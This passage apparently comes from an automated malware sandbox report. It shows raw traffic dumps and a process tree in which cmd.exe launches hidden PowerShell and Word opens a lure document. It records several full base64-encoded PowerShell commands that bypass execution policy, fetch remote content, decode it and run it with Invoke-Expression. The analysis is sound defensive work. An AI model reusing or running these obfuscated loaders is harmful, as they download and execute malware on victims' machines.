2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 9a c1 f8 1b a8 39 11 59 9c 14 62 17 b7 11 59 9a 11 59 9c 1c 98 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb a9 39 11 59 9c 14 4a 17 b7 11 59 9a 11 59 9c 1c 60 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db a9 39 11 59 9c 14 52 17 b7 11 59 9a 11 59 9c 1c 48 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 bb a9 39 11 59 9c 14 3a 17 b7 11 59 9a 11 59 9c 1c 50 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b a9 39 11 59 9c 14 02 17 b7 11 59 9a 11 59 9c 1c 38 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 7b a9 39 11 59 9c 14 ea 14 b7 11 59 9a 11 59 9c 1c 00 6a 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 5b a9 39 11 59 9c 14 32 17 b7 11 59 9a 11 59 9c 1c e8 6b 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b a9 39 11 59 9c 14 52 17 b7 11 59 9a 11 59 9c 1c f0 6b 49 11 59 92 28 11 64 10 d2 Data Ascii: 9YbYYjIY(dY9YJYY`jIY(dY9YRYYHjIY(dY9Y:YYPjIY(dY9YYY8jIY(dY{9YYYjIY(dY[9Y2YYkIY(dY;9YRYYkIY(d
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 92 28 11 64 10 d2 59 9a c1 f8 bb a2 39 11 59 9c 14 8a 12 b7 11 59 9a 11 59 9c 1c a8 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b a2 39 11 59 9c 14 92 12 b7 11 59 9a 11 59 9c 1c b0 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 7b a2 39 11 59 9c 14 92 12 b7 11 59 9a 11 59 9c 1c a0 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 5b a2 39 11 59 9c 14 7a 12 b7 11 59 9a 11 59 9c 1c 88 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b a2 39 11 59 9c 14 4a 12 b7 11 59 9a 11 59 9c 1c 80 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 1b a2 39 11 59 9c 14 52 12 b7 11 59 9a 11 59 9c 1c 68 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb a3 39 11 59 9c 14 3a 12 b7 11 59 9a 11 59 9c 1c 70 66 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db a3 39 11 59 9c 14 02 12 b7 11 59 9a 11 59 9c 1c 48 66 49 11 Data Ascii: (dY9YYYfIY(dY9YYYfIY(dY{9YYYfIY(dY[9YzYYfIY(dY;9YJYYfIY(dY9YRYYhfIY(dY9Y:YYpfIY(dY9YYYHfI

Target ID:	1
Start time:	06:14:20
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:14:20
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:14:20
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:14:21
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:14:21
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:14:23
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"
Imagebase:	0x7ff648670000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:14:23
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1398.tmp" "c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP"
Imagebase:	0x7ff6a9c30000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:14:30
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:14:30
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:14:33
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Imagebase:	0x7ff74ea80000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:14:33
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:14:33
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:14:33
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:14:33
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
